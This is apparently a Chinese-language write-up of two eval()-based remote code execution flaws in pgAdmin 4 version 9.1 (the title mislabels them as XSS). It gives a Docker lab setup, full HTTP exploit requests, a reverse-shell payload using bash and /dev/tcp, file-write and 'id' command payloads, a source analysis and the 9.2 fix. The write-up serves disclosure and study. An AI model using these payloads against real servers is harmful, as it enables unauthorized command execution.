PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_json

環境搭建

可以從 docker hub 上搜索 docker 資源 https://hub.docker.com/search?q=pgadmin4

docker network create pg-network # 創建容器網絡

docker run -d --name postgres --network pg-network -e POSTGRES_USER=postgres -e POSTGRES_PASSWORD=postgres123 -e POSTGRES_DB=testdb -p 5432:5432 postgres:15


docker run -d --name pgadmin --network pg-network  -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80   docker.io/dpage/pgadmin4:9.1.0


docker network inspect pg-network  # 查看哪些容器在使用這個網絡
docker network rm pg-network       # 刪除指定網絡

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_02

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_docker_03

漏洞復現/sqleditor/query_tool/download/

前提:登錄 pgAdmin 獲取有效 session 和 CSRF Token

調用接口 /misc/workspace/adhoc_connect_server功能:臨時連接到 PostgreSQL 數據庫服務器返回:sid(服務器 ID)和 did(數據庫 ID)

調用接口 /misc/workspace/adhoc_connect_server功能:初始化一個 SQL 編輯器會話,創建事務參數:

  • trans_id:事務 ID,隨機數(後續請求需使用同一個值)
  • sgid:服務器組 ID,通常是 1
  • sid:服務器 ID(步驟 1 獲取)
  • did:數據庫 ID(步驟 1 獲取)
  1. 調用接口 /sqleditor/query_tool/download/{trans_id}
    功能:導出 SQL 查詢結果為 CSV 文件下載
    漏洞:query_commited 參數被 eval() 執行,導致 RCE

步驟 1:連接數據庫服務器

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_json_04

POST /misc/workspace/adhoc_connect_server HTTP/1.1
Host: 127.0.0.1:5050
Content-Length: 348
X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/json
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
Connection: close

{"sid":null,"did":"testdb","user":"postgres","server_name":"postgres","host":"postgres","port":"5432","username":"test","role":null,"password":"postgres123","connection_params":[{"name":"sslmode","value":"prefer","keyword":"sslmode","cid":"c19"},{"name":"connect_timeout","value":10,"keyword":"connect_timeout","cid":"c20"}],"connection_refresh":0}

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_05

返回: sid(服務器 ID)和 did(數據庫 ID)

步驟 2:初始化 SQL 編輯器

POST /sqleditor/initialize/sqleditor/1234567/1/1/16384 HTTP/1.1
Host: 127.0.0.1:5050
X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
Connection: close
Content-Type: application/json
Content-Length: 102

{
    "user": "postgres",
    "password": "postgres123",
    "role": "",
    "dbname": "testdb"
}

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_06

步驟 3:觸發漏洞

POST /sqleditor/query_tool/download/1234567 HTTP/1.1
Host: 127.0.0.1:5050
X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
Connection: close
Content-Type: application/json
Content-Length: 67

{"query":"SELECT 1;","query_commited":"open('/tmp/20251208', 'w')"}

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_json_07

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_08

實現 反彈 shell

POST /sqleditor/query_tool/download/1234567 HTTP/1.1
Host: 127.0.0.1:5050
X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
Connection: close
Content-Type: application/json
Content-Length: 130

{"query":"SELECT 1;","query_commited":"__import__('os').system('bash -c \"bash -i >& /dev/tcp/host.docker.internal/6666 0>&1\"')"}

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_docker_09

/cloud/deploy

這個接口需要用到 pgAdmin 已配置 Google Cloud 認證 為了方便進行驗證,我們可以註釋掉相關代碼然後進行復現,首先是概念性驗證,直接通過命令行方式進行驗證

docker exec -it -u root pgadmin "/bin/bash"
# 通過 root 權限進入容器內部,因為需要對文件進行註釋操作
FILE="/pgadmin4/pgacloud/providers/google.py"
sed -i 's/credentials = self._get_credentials/#&/' $FILE
sed -i 's/service = discovery.build/#&/' $FILE
sed -i 's/credentials=credentials)/#&/' /pgadmin4/pgacloud/providers/google.py
# 註釋掉獲取憑證和建立連接的操作

sed -n '135,140p' /pgadmin4/pgacloud/providers/google.py

 /venv/bin/python /pgadmin4/pgacloud/pgacloud.py google create-instance \
  --project test \
  --name test \
  --instance-type db-f1-micro \
  --storage-size 10 \
  --high-availability "__import__('os').system('id > /tmp/google_pwned.txt')"

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_docker_10

可以看到成功執行命令

希望從 web 層面更清晰的看到命令執行的效果,還需要對兩行代碼進行註釋,註釋後再重啓 docker 容器

FILE="/pgadmin4/pgadmin/misc/cloud/google/__init__.py"
sed -i 's/google_obj = pickle.loads/#&/' $FILE
sed -i "s/env\['GOOGLE_CREDENTIALS'\] = /#&/" $FILE
docker restart pgadmin

這裏先簡單解釋一下為什麼要註釋這一部分: Web 接口需要 session 中有 Google 認證信息,必須先在 pgAdmin 界面完成 Google OAuth 登錄

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_docker_11

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_12

POST /cloud/deploy HTTP/1.1
Host: 127.0.0.1:5050
X-pgA-CSRFToken: IjJmMDYxMDJkZDVhNmQyMzRjNzhhNzYxOWJjMzU5NmJmYzIxZWQ0ZjQi.aTegGw.d2HRuq3wKWyIInqs4P9WiDo32go
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
Connection: close
Content-Type: application/json
Content-Length: 648

{
  "cloud": "google",
  "secret": {
    "gid": "1",
    "oid": null,
    "client_secret_file": "/tmp/test.json"
  },
  "instance_details": {
    "name": "test-instance",
    "project": "test-project",
    "region": "us-central1",
    "db_version": "POSTGRES_14",
    "instance_type": "db-f1-micro",
    "storage_type": "PD_SSD",
    "storage_size": 10,
    "public_ips": "0.0.0.0/0",
    "availability_zone": "us-central1-a",
    "secondary_availability_zone": "us-central1-b",
    "high_availability": "__import__('os').system('id > /tmp/pwned.txt')"
  },
  "db_details": {
    "gid": 1,
    "db_password": "test123"
  }
}

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_13

漏洞分析

我們可以從 https://pgadmin-archive.postgresql.org/pgadmin4/v9.1/source/index.html 下載源代碼進行審計分析

/sqleditor/query_tool/download/

web/pgadmin/misc/workspaces__init__.py#adhoc_connect_server

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_docker_14

  • 驗證連接參數
  • 查找或創建服務器記錄
  • 建立到 PostgreSQL 的實際連接
  • 返回 sid(服務器ID)和 did(數據庫ID)

web/pgadmin/tools/sqleditor__init__.py

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_json_15

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_16

  • 創建 QueryToolCommand 對象
  • 建立數據庫連接
  • 將命令對象序列化後存入 session'gridData'★★★ 關鍵:將命令對象存入 session ★★★
    步驟3的 check_transaction_status() 函數會檢查 session['gridData'] 中是否存在對應的 trans_id 如果不存在,會返回 ERROR_MSG_TRANS_ID_NOT_FOUND 錯誤,無法繼續執行
  • 返回連接 ID 和服務器版本

web/pgadmin/tools/sqleditor__init__.py#start_query_download_tool

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_17

/cloud/deploy

web/pgadmin/misc/cloud__init__.py#deploy_on_cloud

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_docker_18

/misc/cloud/__init__.py → 路由入口 /cloud/deploy 接收用户的雲部署請求,根據 cloud 字段分發到對應的部署函數。

web/pgadmin/misc/cloud/google__init__.py#deploy_on_google

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_19

/misc/cloud/google.py → deploy_on_google() 函數

  1. 構建命令行參數(用户輸入的 high_availability 被直接放入參數)
  2. 創建 BatchProcess 後台進程
  3. 啓動子進程執行 pgacloud.py

web/pgacloud/pgacloud.py

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_20

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_21

pgacloud.py 會動態加載 providers/ 目錄下的所有 provider 模塊,然後解析命令行參數,最後根據 provider 和 command 調用對應的函數

命令 pgacloud.py google create-instance --high-availability "惡意代碼"

  • load_providers() → 加載 providers/google.py,調用 load() 返回 GoogleProvider 實例
  • get_args() → 解析參數,args.provider='google'args.command='create-instance'args.high_availability='惡意代碼'
  • execute_command() → 調用 GoogleProvider.commands()['create_instance'](args)

web/pgacloud/providers/google.py

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_json_22

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_docker_23

cmd_create_instance() 內部調用 _create_google_postgresql_instance() 最後觸發了漏洞

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_json_24

漏洞修復

接口 /sqleditor/query_tool/download/ 修復方案

9.1 版本代碼中使用eval()函數來處理用户輸入的query_commited參數,eval()會把傳入的字符串當作 python 代碼來執行。9.2 版本代碼中則是移除了eval()函數,改用安全的字符串比較方式來判斷參數值。首先檢測參數是否為字符串類型,如果是字符串,就轉換為小寫,並判斷是否等於'true''1'。如果參數是布爾型則直接使用該值。

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_json_25

接口 /cloud/deploy 修復方案

9.1 版本代碼中使用eval()函數來處理用户輸入的high_availability參數,eval()會把傳入的字符串當作 python 代碼來執行。9.2 版本代碼中則是移除了eval()函數,改用安全的字符串比較方式來判斷參數值。首先檢查參數是否為字符串類型,如果是字符串,就轉換為小寫,並判斷是否等於'true''1'。如果參數是布爾型則直接使用該值。

PostgreSQL管理工具pgAdmin 4中XSS漏洞的發現和利用-_ide_26